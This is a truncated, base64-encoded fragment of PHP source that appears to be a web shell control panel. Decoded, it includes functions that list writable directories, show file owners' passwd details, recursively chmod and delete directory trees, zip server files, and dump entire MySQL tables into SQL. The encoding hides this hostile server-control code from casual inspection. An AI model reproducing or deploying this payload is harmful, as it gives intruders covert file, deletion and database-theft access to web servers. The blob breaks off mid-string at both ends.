oJGdyb3VwWydleGVjdXRlJ109PSd4JykgPyAncycgOiAnUyc7fQoJaWYoICRtb2RlICYgMHgyMDAgKSB7JHdvcmxkWydleGVjdXRlJ10gPSAoJHdvcmxkWydleGVjdXRlJ109PSd4JykgPyAndCcgOiAnVCc7fQoKCXJldHVybiAkdHlwZS4kb3duZXJbJ3JlYWQnXS4kb3duZXJbJ3dyaXRlJ10uJG93bmVyWydleGVjdXRlJ10uJGdyb3VwWydyZWFkJ10uJGdyb3VwWyd3cml0ZSddLiRncm91cFsnZXhlY3V0ZSddLiR3b3JsZFsncmVhZCddLiR3b3JsZFsnd3JpdGUnXS4kd29ybGRbJ2V4ZWN1dGUnXTsKfQoKZnVuY3Rpb24gZ2V0VXNlcigkZmlsZXBhdGgpCXsKCWlmIChmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldHB3dWlkJykpIHsKCQkkYXJyYXkgPSBAcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkZmlsZXBhdGgpKTsKCQlpZiAoJGFycmF5ICYmIGlzX2FycmF5KCRhcnJheSkpIHsKCQkJcmV0dXJuICcgLyA8YSBocmVmPSIjIiB0aXRsZT0iVXNlcjogJy4kYXJyYXlbJ25hbWUnXS4nJiMxMyYjMTBQYXNzd2Q6ICcuJGFycmF5WydwYXNzd2QnXS4nJiMxMyYjMTBVaWQ6ICcuJGFycmF5Wyd1aWQnXS4nJiMxMyYjMTBnaWQ6ICcuJGFycmF5WydnaWQnXS4nJiMxMyYjMTBHZWNvczogJy4kYXJyYXlbJ2dlY29zJ10uJyYjMTMmIzEwRGlyOiAnLiRhcnJheVsnZGlyJ10uJyYjMTMmIzEwU2hlbGw6ICcuJGFycmF5WydzaGVsbCddLiciPicuJGFycmF5WyduYW1lJ10uJzwvYT4nOwoJCX0KCX0KCXJldHVybiAnJzsKfQoKLy8gRGVsZXRlIGRpcgpmdW5jdGlvbiBkZWx0cmVlKCRkZWxkaXIpIHsKCSRteWRpcj1AZGlyKCRkZWxkaXIpOwoJd2hpbGUoJGZpbGU9JG15ZGlyLT5yZWFkKCkpCXsKCQlpZigoaXNfZGlyKCRkZWxkaXIuJy8nLiRmaWxlKSkgJiYgKCRmaWxlIT0nLicpICYmICgkZmlsZSE9Jy4uJykpIHsKCQkJQGNobW9kKCRkZWxkaXIuJy8nLiRmaWxlLDA3NzcpOwoJCQlkZWx0cmVlKCRkZWxkaXIuJy8nLiRmaWxlKTsKCQl9CgkJaWYgKGlzX2ZpbGUoJGRlbGRpci4nLycuJGZpbGUpKSB7CgkJCUBjaG1vZCgkZGVsZGlyLicvJy4kZmlsZSwwNzc3KTsKCQkJQHVubGluaygkZGVsZGlyLicvJy4kZmlsZSk7CgkJfQoJfQoJJG15ZGlyLT5jbG9zZSgpOwoJQGNobW9kKCRkZWxkaXIsMDc3Nyk7CglyZXR1cm4gQHJtZGlyKCRkZWxkaXIpID8gMSA6IDA7Cn0KCi8vIEJhY2tncm91bmQKZnVuY3Rpb24gYmcoKSB7CglnbG9iYWwgJGJnYzsKCXJldHVybiAoJGJnYysrJTI9PTApID8gJ2FsdDEnIDogJ2FsdDInOwp9CgovLyBHZXQgcGF0aApmdW5jdGlvbiBnZXRQYXRoKCRzY3JpcHRwYXRoLCAkbm93cGF0aCkgewoJaWYgKCRub3dwYXRoID09ICcuJykgewoJCSRub3dwYXRoID0gJHNjcmlwdHBhdGg7Cgl9Cgkkbm93cGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJG5vd3BhdGgpOwoJJG5vd3BhdGggPSBzdHJfcmVwbGFjZSgnLy8nLCAnLycsICRub3dwYXRoKTsKCWlmIChzdWJzdHIoJG5vd3BhdGgsIC0xKSAhPSAnLycpIHsKCQkkbm93cGF0aCA9ICRub3dwYXRoLicvJzsKCX0KCXJldHVybiAkbm93cGF0aDsKfQoKLy8gR2V0IHVwIHBhdGgKZnVuY3Rpb24gZ2V0VXBQYXRoKCRub3dwYXRoKSB7CgkkcGF0aGRiID0gZXhwbG9kZSgnLycsICRub3dwYXRoKTsKCSRudW0gPSBjb3VudCgkcGF0aGRiKTsKCWlmICgkbnVtID4gMikgewoJCXVuc2V0KCRwYXRoZGJbJG51bS0xXSwkcGF0aGRiWyRudW0tMl0pOwoJfQoJJHVwcGF0aCA9IGltcGxvZGUoJy8nLCAkcGF0aGRiKS4nLyc7CgkkdXBwYXRoID0gc3RyX3JlcGxhY2UoJy8vJywgJy8nLCAkdXBwYXRoKTsKCXJldHVybiAkdXBwYXRoOwp9CgovLyBDb25maWcKZnVuY3Rpb24gZ2V0Y2ZnKCR2YXJuYW1lKSB7CgkkcmVzdWx0ID0gZ2V0X2NmZ192YXIoJHZhcm5hbWUpOwoJaWYgKCRyZXN1bHQgPT0gMCkgewoJCXJldHVybiAnTm8nOwoJfSBlbHNlaWYgKCRyZXN1bHQgPT0gMSkgewoJCXJldHVybiAnWWVzJzsKCX0gZWxzZSB7CgkJcmV0dXJuICRyZXN1bHQ7Cgl9Cn0KCi8vIEZ1bmN0aW9uIG5hbWUKZnVuY3Rpb24gZ2V0ZnVuKCRmdW5OYW1lKSB7CglyZXR1cm4gKGZhbHNlICE9PSBmdW5jdGlvbl9leGlzdHMoJGZ1bk5hbWUpKSA/ICdZZXMnIDogJ05vJzsKfQoKZnVuY3Rpb24gR2V0TGlzdCgkZGlyKXsKCWdsb2JhbCAkZGlyZGF0YSwkaiwkbm93cGF0aDsKCSEkaiAmJiAkaj0xOwoJaWYgKCRkaCA9IG9wZW5kaXIoJGRpcikpIHsKCQl3aGlsZSAoJGZpbGUgPSByZWFkZGlyKCRkaCkpIHsKCQkJJGY9c3RyX3JlcGxhY2UoJy8vJywnLycsJGRpci4nLycuJGZpbGUpOwoJCQlpZigkZmlsZSE9Jy4nICYmICRmaWxlIT0nLi4nICYmIGlzX2RpcigkZikpewoJCQkJaWYgKGlzX3dyaXRhYmxlKCRmKSkgewoJCQkJCSRkaXJkYXRhWyRqXVsnZmlsZW5hbWUnXT1zdHJfcmVwbGFjZSgkbm93cGF0aCwnJywkZik7CgkJCQkJJGRpcmRhdGFbJGpdWydtdGltZSddPUBkYXRlKCdZLW0tZCBIOmk6cycsZmlsZW10aW1lKCRmKSk7CgkJCQkJJGRpcmRhdGFbJGpdWydkaXJjaG1vZCddPWdldENobW9kKCRmKTsKCQkJCQkkZGlyZGF0YVskal1bJ2RpcnBlcm0nXT1nZXRQZXJtcygkZik7CgkJCQkJJGRpcmRhdGFbJGpdWydkaXJsaW5rJ109dWUoJGRpcik7CgkJCQkJJGRpcmRhdGFbJGpdWydzZXJ2ZXJfbGluayddPSRmOwoJCQkJCSRkaXJkYXRhWyRqXVsnY2xpZW50X2xpbmsnXT11ZSgkZik7CgkJCQkJJGorKzsKCQkJCX0KCQkJCUdldExpc3QoJGYpOwoJCQl9CgkJfQoJCWNsb3NlZGlyKCRkaCk7CgkJY2xlYXJzdGF0Y2FjaGUoKTsKCQlyZXR1cm4gJGRpcmRhdGE7Cgl9IGVsc2UgewoJCXJldHVybiBhcnJheSgpOwoJfQp9CgpmdW5jdGlvbiBxeSgkc3FsKSB7CgkvL2VjaG8gJHNxbC4nPGJyPic7CgkkcmVzID0gJGVycm9yID0gJyc7CglpZighJHJlcyA9IEBteXNxbF9xdWVyeSgkc3FsKSkgewoJCXJldHVybiAwOwoJfSBlbHNlIGlmKGlzX3Jlc291cmNlKCRyZXMpKSB7CgkJcmV0dXJuIDE7Cgl9IGVsc2UgewoJCXJldHVybiAyOwoJfQoJcmV0dXJuIDA7Cn0KCmZ1bmN0aW9uIHEoJHNxbCkgewoJcmV0dXJuIEBteXNxbF9xdWVyeSgkc3FsKTsKfQoKZnVuY3Rpb24gZnIoJHF5KXsKCW15c3FsX2ZyZWVfcmVzdWx0KCRxeSk7Cn0KCmZ1bmN0aW9uIHNpemVjb3VudCgkc2l6ZSkgewoJaWYoJHNpemUgPiAxMDczNzQxODI0KSB7CgkJJHNpemUgPSByb3VuZCgkc2l6ZSAvIDEwNzM3NDE4MjQgKiAxMDApIC8gMTAwIC4gJyBHJzsKCX0gZWxzZWlmKCRzaXplID4gMTA0ODU3NikgewoJCSRzaXplID0gcm91bmQoJHNpemUgLyAxMDQ4NTc2ICogMTAwKSAvIDEwMCAuICcgTSc7Cgl9IGVsc2VpZigkc2l6ZSA+IDEwMjQpIHsKCQkkc2l6ZSA9IHJvdW5kKCRzaXplIC8gMTAyNCAqIDEwMCkgLyAxMDAgLiAnIEsnOwoJfSBlbHNlIHsKCQkkc2l6ZSA9ICRzaXplIC4gJyBCJzsKCX0KCXJldHVybiAkc2l6ZTsKfQoKLy8gWmlwCmNsYXNzIFBIUFppcHsKCXZhciAkb3V0PScnOwoJZnVuY3Rpb24gUEhQWmlwKCRkaXIpCXsKCQlpZiAoQGZ1bmN0aW9uX2V4aXN0cygnZ3pjb21wcmVzcycpKQl7CgkJCSRjdXJkaXIgPSBnZXRjd2QoKTsKCQkJaWYgKGlzX2FycmF5KCRkaXIpKSAkZmlsZWxpc3QgPSAkZGlyOwoJCQllbHNlewoJCQkJJGZpbGVsaXN0PSR0aGlzIC0+IEdldEZpbGVMaXN0KCRkaXIpOy8vRmlsZSBsaXN0CgkJCQlmb3JlYWNoKCRmaWxlbGlzdCBhcyAkaz0+JHYpICRmaWxlbGlzdFtdPXN1YnN0cigkdixzdHJsZW4oJGRpcikrMSk7CgkJCX0KCQkJaWYgKCghZW1wdHkoJGRpcikpJiYoIWlzX2FycmF5KCRkaXIpKSYmKGZpbGVfZXhpc3RzKCRkaXIpKSkgY2hkaXIoJGRpcik7CgkJCWVsc2UgY2hkaXIoJGN1cmRpcik7CgkJCWlmIChjb3VudCgkZmlsZWxpc3QpPjApewoJCQkJZm9yZWFjaCgkZmlsZWxpc3QgYXMgJGZpbGVuYW1lKXsKCQkJCQlpZiAoaXNfZmlsZSgkZmlsZW5hbWUpKXsKCQkJCQkJJGZkID0gZm9wZW4gKCRmaWxlbmFtZSwgJ3InKTsKCQkJCQkJJGNvbnRlbnQgPSBAZnJlYWQgKCRmZCwgZmlsZXNpemUoJGZpbGVuYW1lKSk7CgkJCQkJCWZjbG9zZSAoJGZkKTsKCQkJCQkJaWYgKGlzX2FycmF5KCRkaXIpKSAkZmlsZW5hbWUgPSBiYXNlbmFtZSgkZmlsZW5hbWUpOwoJCQkJCQkkdGhpcyAtPiBhZGRGaWxlKCRjb250ZW50LCAkZmlsZW5hbWUpOwoJCQkJCX0KCQkJCX0KCQkJCSR0aGlzLT5vdXQgPSAkdGhpcyAtPiBmaWxlKCk7CgkJCQljaGRpcigkY3VyZGlyKTsKCQkJfQoJCQlyZXR1cm4gMTsKCQl9CgkJZWxzZSByZXR1cm4gMDsKCX0KCgkvLyBTaG93IGZpbGUgbGlzdAoJZnVuY3Rpb24gR2V0RmlsZUxpc3QoJGRpcil7CgkJc3RhdGljICRhOwoJCWlmIChpc19kaXIoJGRpcikpIHsKCQkJaWYgKCRkaCA9IG9wZW5kaXIoJGRpcikpIHsKCQkJCXdoaWxlICgkZmlsZSA9IHJlYWRkaXIoJGRoKSkgewoJCQkJCWlmKCRmaWxlIT0nLicgJiYgJGZpbGUhPScuLicpewoJCQkJCQkkZj0kZGlyIC4nLycuICRmaWxlOwoJCQkJCQlpZihpc19kaXIoJGYpKSAkdGhpcy0+R2V0RmlsZUxpc3QoJGYpOwoJCQkJCQkkYVtdPSRmOwoJCQkJCX0KCQkJCX0KCQkJCWNsb3NlZGlyKCRkaCk7CgkJCX0KCQl9CgkJcmV0dXJuICRhOwoJfQoKCXZhciAkZGF0YXNlYyAgICAgID0gYXJyYXkoKTsKCXZhciAkY3RybF9kaXIgICAgID0gYXJyYXkoKTsKCXZhciAkZW9mX2N0cmxfZGlyID0gIlx4NTBceDRiXHgwNVx4MDZceDAwXHgwMFx4MDBceDAwIjsKCXZhciAkb2xkX29mZnNldCAgID0gMDsKCglmdW5jdGlvbiB1bml4MkRvc1RpbWUoJHVuaXh0aW1lID0gMCkgewoJCSR0aW1lYXJyYXkgPSAoJHVuaXh0aW1lID09IDApID8gZ2V0ZGF0ZSgpIDogZ2V0ZGF0ZSgkdW5peHRpbWUpOwoJCWlmICgkdGltZWFycmF5Wyd5ZWFyJ10gPCAxOTgwKSB7CgkJCSR0aW1lYXJyYXlbJ3llYXInXSAgICA9IDE5ODA7CgkJCSR0aW1lYXJyYXlbJ21vbiddICAgICA9IDE7CgkJCSR0aW1lYXJyYXlbJ21kYXknXSAgICA9IDE7CgkJCSR0aW1lYXJyYXlbJ2hvdXJzJ10gICA9IDA7CgkJCSR0aW1lYXJyYXlbJ21pbnV0ZXMnXSA9IDA7CgkJCSR0aW1lYXJyYXlbJ3NlY29uZHMnXSA9IDA7CgkJfSAvLyBlbmQgaWYKCQlyZXR1cm4gKCgkdGltZWFycmF5Wyd5ZWFyJ10gLSAxOTgwKSA8PCAyNSkgfCAoJHRpbWVhcnJheVsnbW9uJ10gPDwgMjEpIHwgKCR0aW1lYXJyYXlbJ21kYXknXSA8PCAxNikgfAoJCQkJKCR0aW1lYXJyYXlbJ2hvdXJzJ10gPDwgMTEpIHwgKCR0aW1lYXJyYXlbJ21pbnV0ZXMnXSA8PCA1KSB8ICgkdGltZWFycmF5WydzZWNvbmRzJ10gPj4gMSk7Cgl9CgoJZnVuY3Rpb24gYWRkRmlsZSgkZGF0YSwgJG5hbWUsICR0aW1lID0gMCkgewoJCSRuYW1lID0gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCAkbmFtZSk7CgoJCSRkdGltZSA9IGRlY2hleCgkdGhpcy0+dW5peDJEb3NUaW1lKCR0aW1lKSk7CgkJJGhleGR0aW1lCT0gJ1x4JyAuICRkdGltZVs2XSAuICRkdGltZVs3XQoJCQkJCS4gJ1x4JyAuICRkdGltZVs0XSAuICRkdGltZVs1XQoJCQkJCS4gJ1x4JyAuICRkdGltZVsyXSAuICRkdGltZVszXQoJCQkJCS4gJ1x4JyAuICRkdGltZVswXSAuICRkdGltZVsxXTsKCQlldmFsKCckaGV4ZHRpbWUgPSAiJyAuICRoZXhkdGltZSAuICciOycpOwoJCSRmcgk9ICJceDUwXHg0Ylx4MDNceDA0IjsKCQkkZnIJLj0gIlx4MTRceDAwIjsKCQkkZnIJLj0gIlx4MDBceDAwIjsKCQkkZnIJLj0gIlx4MDhceDAwIjsKCQkkZnIJLj0gJGhleGR0aW1lOwoKCQkkdW5jX2xlbiA9IHN0cmxlbigkZGF0YSk7CgkJJGNyYyA9IGNyYzMyKCRkYXRhKTsKCQkkemRhdGEgPSBnemNvbXByZXNzKCRkYXRhKTsKCQkkY19sZW4gPSBzdHJsZW4oJHpkYXRhKTsKCQkkemRhdGEgPSBzdWJzdHIoc3Vic3RyKCR6ZGF0YSwgMCwgc3RybGVuKCR6ZGF0YSkgLSA0KSwgMik7CgkJJGZyIC49IHBhY2soJ1YnLCAkY3JjKTsKCQkkZnIgLj0gcGFjaygnVicsICRjX2xlbik7CgkJJGZyIC49IHBhY2soJ1YnLCAkdW5jX2xlbik7CgkJJGZyIC49IHBhY2soJ3YnLCBzdHJsZW4oJG5hbWUpKTsKCQkkZnIgLj0gcGFjaygndicsIDApOwoJCSRmciAuPSAkbmFtZTsKCQkkZnIgLj0gJHpkYXRhOwoJCSRmciAuPSBwYWNrKCdWJywgJGNyYyk7CgkJJGZyIC49IHBhY2soJ1YnLCAkY19sZW4pOwoJCSRmciAuPSBwYWNrKCdWJywgJHVuY19sZW4pOwoKCQkkdGhpcyAtPiBkYXRhc2VjW10gPSAkZnI7CgkJJG5ld19vZmZzZXQgPSBzdHJsZW4oaW1wbG9kZSgnJywgJHRoaXMtPmRhdGFzZWMpKTsKCgkJJGNkcmVjID0gIlx4NTBceDRiXHgwMVx4MDIiOwoJCSRjZHJlYyAuPSAiXHgwMFx4MDAiOwoJCSRjZHJlYyAuPSAiXHgxNFx4MDAiOwoJCSRjZHJlYyAuPSAiXHgwMFx4MDAiOwoJCSRjZHJlYyAuPSAiXHgwOFx4MDAiOwoJCSRjZHJlYyAuPSAkaGV4ZHRpbWU7CgkJJGNkcmVjIC49IHBhY2soJ1YnLCAkY3JjKTsKCQkkY2RyZWMgLj0gcGFjaygnVicsICRjX2xlbik7CgkJJGNkcmVjIC49IHBhY2soJ1YnLCAkdW5jX2xlbik7CgkJJGNkcmVjIC49IHBhY2soJ3YnLCBzdHJsZW4oJG5hbWUpICk7CgkJJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7CgkJJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7CgkJJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7CgkJJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7CgkJJGNkcmVjIC49IHBhY2soJ1YnLCAzMiApOwoJCSRjZHJlYyAuPSBwYWNrKCdWJywgJHRoaXMgLT4gb2xkX29mZnNldCApOwoJCSR0aGlzIC0+IG9sZF9vZmZzZXQgPSAkbmV3X29mZnNldDsKCQkkY2RyZWMgLj0gJG5hbWU7CgoJCSR0aGlzIC0+IGN0cmxfZGlyW10gPSAkY2RyZWM7Cgl9CgoJZnVuY3Rpb24gZmlsZSgpIHsKCQkkZGF0YSAgICA9IGltcGxvZGUoJycsICR0aGlzIC0+IGRhdGFzZWMpOwoJCSRjdHJsZGlyID0gaW1wbG9kZSgnJywgJHRoaXMgLT4gY3RybF9kaXIpOwoJCXJldHVybiAkZGF0YSAuICRjdHJsZGlyIC4gJHRoaXMgLT4gZW9mX2N0cmxfZGlyIC4gcGFjaygndicsIHNpemVvZigkdGhpcyAtPiBjdHJsX2RpcikpIC4gcGFjaygndicsIHNpemVvZigkdGhpcyAtPiBjdHJsX2RpcikpIC4JcGFjaygnVicsIHN0cmxlbigkY3RybGRpcikpIC4gcGFjaygnVicsIHN0cmxlbigkZGF0YSkpIC4gIlx4MDBceDAwIjsKCX0KfQoKLy8gRHVtcCBteXNxbApmdW5jdGlvbiBzcWxkdW1wdGFibGUoJHRhYmxlLCAkZnA9MCkgewoJJHRhYmxlZHVtcCA9ICJEUk9QIFRBQkxFIElGIEVYSVNUUyAkdGFibGU7XG4iOwoJJHRhYmxlZHVtcCAuPSAiQ1JFQVRFIFRBQkxFICR0YWJsZSAoXG4iOwoKCSRmaXJzdGZpZWxkPTE7CgoJJGZpZWxkcyA9IHEoIlNIT1cgRklFTERTIEZST00gJHRhYmxlIik7Cgl3aGlsZSAoJGZpZWxkID0gbXlzcWxfZmV0Y2hfYXJyYXkoJGZpZWxkcykpIHsKCQlpZiAoISRmaXJzdGZpZWxkKSB7CgkJCSR0YWJsZWR1bXAgLj0gIixcbiI7CgkJfSBlbHNlIHsKCQkJJGZpcnN0ZmllbGQ9MDsKCQl9CgkJJHRhYmxlZHVtcCAuPSAiICAgJGZpZWxkW0ZpZWxkXSAkZmllbGRbVHlwZV0iOwoJCWlmICghZW1wdHkoJGZpZWxkWyJEZWZhdWx0Il0pKSB7CgkJCSR0YWJsZWR1bXAgLj0gIiBERUZBVUxUICckZmllbGRbRGVmYXVsdF0nIjsKCQl9CgkJaWYgKCRmaWVsZFsnTnVsbCddICE9ICJZRVMiKSB7CgkJCSR0YWJsZWR1bXAgLj0gIiBOT1QgTlVMTCI7CgkJfQoJCWlmICgkZmllbGRbJ0V4dHJhJ10gIT0gIiIpIHsKCQkJJHRhYmxlZHVtcCAuPSAiICRmaWVsZFtFeHRyYV0iOwoJCX0KCX0KCWZyKCRmaWVsZHMpOwoKCSRrZXlzID0gcSgiU0hPVyBLRVlTIEZST00gJHRhYmxlIik7Cgl3aGlsZSAoJGtleSA9IG15c3FsX2ZldGNoX2FycmF5KCRrZXlzKSkgewoJCSRrbmFtZT0ka2V5WydLZXlfbmFtZSddOwoJCWlmICgka25hbWUgIT0gIlBSSU1BUlkiICYmICRrZXlbJ05vbl91bmlxdWUnXSA9PSAwKSB7CgkJCSRrbmFtZT0iVU5JUVVFfCRrbmFtZSI7CgkJfQoJCWlmKCFpc19hcnJheSgkaW5kZXhbJGtuYW1lXSkpIHsKCQkJJGluZGV4WyRrbmFtZV0gPSBhcnJheSgpOwoJCX0KCQkkaW5kZXhbJGtuYW1lXVtdID0gJGtleVsnQ29sdW1uX25hbWUnXTsKCX0KCWZyKCRrZXlzKTsKCgl3aGlsZShsaXN0KCRrbmFtZSwgJGNvbHVtbnMpID0gQGVhY2goJGluZGV4KSkgewoJCSR0YWJsZWR1bXAgLj0gIixcbiI7CgkJJGNvbG5hbWVzPWltcGxvZGUoJGNvbHVtbnMsIiwiKTsKCgkJaWYgKCRrbmFtZSA9PSAiUFJJTUFSWSIpIHsKCQkJJHRhYmxlZHVtcCAuPSAiICAgUFJJTUFSWSBLRVkgKCRjb2xuYW1lcykiOwoJCX0gZWxzZSB7CgkJCWlmIChzdWJzdHIoJGtuYW1lLDAsNikgPT0gIlVOSVFVRSIpIHsKCQkJCSRrbmFtZT1zdWJzdHIoJGtuYW1lLDcpOwoJCQl9CgkJCSR0YWJsZWR1bXAgLj0gIiAgIEtFWSAka25hbWUgKCRjb2xuYW1lcykiOwoJCX0KCX0KCgkkdGFibGVkdW1wIC49ICJcbik7XG5cbiI7CglpZiAoJGZwKSB7CgkJZndyaXRlKCRmcCwkdGFibGVkdW1wKTsKCX0gZWxzZSB7CgkJZWNobyAkdGFibGVkdW1wOwoJfQoKCSRyb3dzID0gcSgiU0VMRUNUICogRlJPTSAkdGFibGUiKTsKCSRudW1maWVsZHMgPSBteXNxbF9udW1fZmllbGRzKCRyb3dzKTsKCXdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJvd3MpKSB7CgkJJHRhYmxlZHVtcCA9ICJJTlNFUlQgSU5UTyAkdGFibGUgVkFMVUVTKCI7CgoJCSRmaWVsZGNvdW50ZXI9LTE7CgkJJGZpcnN0ZmllbGQ9MTsKCQl3aGlsZSAoKyskZmllbGRjb3VudGVyPCRudW1maWVsZHMpIHsKCQkJaWYgKCEkZmlyc3RmaWVsZCkgewoJCQkJJHRhYmxlZHVtcC49IiwgIjsKCQkJfSBlbHNlIHsKCQkJCSRmaXJzdGZpZWxkPTA7CgkJCX0KCgkJCWlmICghaXNzZXQoJHJvd1skZmllbGRjb3VudGVyXSkpIHsKCQkJCSR0YWJsZWR1bXAgLj0gIk5VTEwiOwoJCQl9IGVsc2UgewoJCQkJJHRhYmxlZHVtcCAuPSAiJyIubXlzcWxfZXNjYXBlX3N0cmluZygkcm93WyRmaWVsZGNvdW50ZXJdKS4iJyI7CgkJCX0KCQl9CgoJCSR0YWJsZWR1bXAgLj0gIik7XG4iOwoKCQlpZiAoJGZwKSB7CgkJCWZ3cml0ZSgkZnAsJHRhYmxlZHVtcCk7CgkJfSBlbHNlIHsKCQkJZWNobyAkdGFibGVkdW1wOwoJCX0KCX0KCWZyKCRyb3dzKTsKCWlmICgkZnApIHsKCQlmd3JpdGUoJGZwLCJcbiIpOwoJfSBlbHNlIHsKCQllY2hvICJcbiI7Cgl9Cn0KCmZ1bmN0aW9uIHVlKCRzdHIpewoJcmV0dXJuIHVybGVuY29kZSgkc3RyKTsKfQoKZnVuY3Rpb24gcCgkc3RyKXsKCWVjaG8gJHN0ci4iXG4iOwp9CgpmdW5jdGlvbiB0YmhlYWQoKSB7CglwKCc8dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjQiIGNlbGxzcGFjaW5nPSIwIj4nKTsKfQpmdW5jdGlvbiB0YmZvb3QoKXsKCXAoJzwvdGFibGU+Jyk7Cn0KCmZ1bmN0aW9uIG1ha2VoaWRlKCRuYW1lLCR2YWx1ZT0nJyl7CglwKCI8aW5wdXQgaWQ9XCIkbmFtZVwiIHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiJG5hbWVcIiB2YWx1ZT1cIiR2YWx1ZVwiIC8+Iik7Cn0KCmZ1bmN0aW9uIG1ha2VpbnB1dCgkYXJnID0gYXJyYXkoKSl7CgkkYXJnWydzaXplJ10gPSAkYXJnWydzaXplJ10gPiAwID8gInNpemU9XCIkYXJnW3NpemVdXCIiIDogInNpemU9XCIxMDBcIiI7CgkkYXJnWydleHRyYSddID0gJGFyZ1snZXh0cmEnXSA/ICRhcmdbJ2V4dHJhJ10gOiAnJzsKCSEkYXJnWyd0eXBlJ10gJiYgJGFyZ1sndHlwZSddID0gJ3RleHQnOwoJJGFyZ1sndGl0bGUnXSA9ICRhcmdbJ3RpdGxlJ10gPyAkYXJnWyd0aXRsZSddLic8YnIgLz4nIDogJyc7CgkkYXJnWydjbGFzcyddID0gJGFyZ1snY2xhc3MnXSA/ICRhcmdbJ2NsYXNzJ10gOiAnaW5wdXQnOwoJaWYgKCRhcmdbJ25ld2xpbmUnXSkgewoJCXAoIjxwPiRhcmdbdGl0bGVdPGlucHV0IGNsYXNzPVwiJGFyZ1tjbGFzc11cIiBuYW1lPVwiJGFyZ1tuYW1lXVwiIGlkPVwiJGFyZ1tuYW1lXVwiIHZhbHVlPVwiJGFyZ1t2YWx1ZV1cIiB0eXBlPVwiJGFyZ1t0eXBlXVwiICRhcmdbc2l6ZV0gJGFyZ1tleHRyYV0gLz48L3A+Iik7Cgl9IGVsc2UgewoJCXAoIiRhcmdbdGl0bGVdPGlucHV0IGNsYXNzPVwiJGFyZ1tjbGFzc11cIiBuYW1lPVwiJGFyZ1tuYW1lXVwiIGlkPVwiJGFyZ1tuYW1lXVwiIHZhbHVlPVwiJGFyZ1t2YWx1ZV1cIiB0eXBlPVwiJGFyZ1t0eXBlXVwiICRhcmdbc2l6ZV0gJGFyZ1tleHRyYV0gLz4iKTsKCX0KfQoKZnVuY3Rpb24gbWFrZXNlbGVjdCgkYXJnID0gYXJyYXkoKSl7CglpZiAoJGFyZ1snb25jaGFuZ2UnXSkgewoJCSRvbmNoYW5nZSA9ICdvbmNoYW5nZT0iJy4kYXJnWydvbmNoYW5nZSddLiciJzsKCX0KCSRhcmdbJ3RpdGxlJ10gPSAkYXJnWyd0aXRsZSddID8gJGFyZ1sndGl0bGUnXSA6ICcnOwoJaWYgKCRhcmdbJ25ld2xpbmUnXSkgcCgnPHA+Jyk7CglwKCIkYXJnW3RpdGxlXSA8c2VsZWN0IGNsYXNzPVwiaW5wdXRcIiBpZD1cIiRhcmdbbmFtZV1cIiBuYW1lPVwiJGFyZ1tuYW1lXVwiICRvbmNoYW5nZT4iKTsKCQlpZiAoaXNfYXJyYXkoJGFyZ1snb3B0aW9uJ10pKSB7CgkJCWZvcmVhY2ggKCRhcmdbJ29wdGlvbiddIGFzICRrZXk9PiR2YWx1ZSkgewoJCQkJaWYgKCRhcmdbJ3NlbGVjdGVkJ109PSRrZXkpIHsKCQkJCQlwKCI8b3B0aW9uIHZhbHVlPVwiJGtleVwiIHNlbGVjdGVkPiR2YWx1ZTwvb3B0aW9uPiIpOwoJCQkJfSBlbHNlIHsKCQkJCQlwKCI8b3B0aW9uIHZhbHVlPVwiJGtleVwiPiR2YWx1ZTwvb3B0aW9uPiIpOwoJCQkJfQoJCQl9CgkJfQoJcCgiPC9zZWxlY3Q+Iik7CglpZiAoJGFyZ1snbmV3bGluZSddKSBwKCc8L3A+Jyk7Cn0KZnVuY3Rpb24gZm9ybWhlYWQoJGFyZyA9IGFycmF5KCkpIHsKCSEkYXJnWydtZXRob2QnXSAmJiAkYXJnWydtZXRob2QnXSA9ICdwb3N0JzsKCSEkYXJnWydhY3Rpb24nXSAmJiAkYXJnWydhY3Rpb24nXSA9ICRzZWxmOwoJJGFyZ1sndGFyZ2V0J10gPSAkYXJnWyd0YXJnZXQnXSA/ICJ0YXJnZXQ9XCIkYXJnW3RhcmdldF1cIiIgOiAnJzsKCSEkYXJnWyduYW1lJ10gJiYgJGFyZ1snbmFtZSddID0gJ2Zvcm0xJzsKCXAoIjxmb3JtIG5hbWU9XCIkYXJnW25hbWVdXCIgaWQ9XCIkYXJnW25hbWVdXCIgYWN0aW9uPVwiJGFyZ1thY3Rpb25dXCIgbWV0aG9kPVwiJGFyZ1ttZXRob2RdXCIgJGFyZ1t0YXJnZXRdPiIpOwoJaWYgKCRhcmdbJ3RpdGxlJ10pIHsKCQlwKCc8aDI+Jy4kYXJnWyd0aXRsZSddLicgJnJhcXVvOzwvaDI+Jyk7Cgl9Cn0KCmZ1bmN0aW9uIG1ha2V0ZXh0KCRhcmcgPSBhcnJheSgpKXsKCSEkYXJnWydjb2xzJ10gJiYgJGFyZ1snY29scyddID0gMTAwOwoJISRhcmdbJ3Jvd3MnXSAmJiAkYXJnWydyb3dzJ10gPSAyNTsKCSRhcmdbJ3RpdGxlJ10gPSAkYXJnWyd0aXRsZSddID8gJGFyZ1sndGl0bGUnXS4nPGJyIC8+JyA6ICcnOwoJcCgiPHA+JGFyZ1t0aXRsZV08dGV4dGFyZWEgY2xhc3M9XCJhcmVhXCIgaWQ9XCIkYXJnW25hbWVdXCIgbmFtZT1cIiRhcmdbbmFtZV1cIiBjb2xzPVwiJGFyZ1tjb2xzXVwiIHJvd3M9XCIkYXJnW3Jvd3NdXCIgJGFyZ1tleHRyYV0+JGFyZ1t2YWx1ZV08L3RleHRhcmVhPjwvcD4iKTsKfQoKZnVuY3Rpb24gZm9ybWZvb3RlcigkbmFtZSA9ICcnKXsKCSEkbmFtZSAmJiAkbmFtZSA9ICdzdWJtaXQnOwoJcCgnPHA+PGlucHV0IGNsYXNzPSJidCIgbmFtZT0iJy4kbmFtZS4nIiBpZD1cIicuJG5hbWUuJ1wiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IlN1Ym1pdCI+PC9wPicpOwoJcCgnPC9mb3JtPicpOwp9CgpmdW5jdGlvb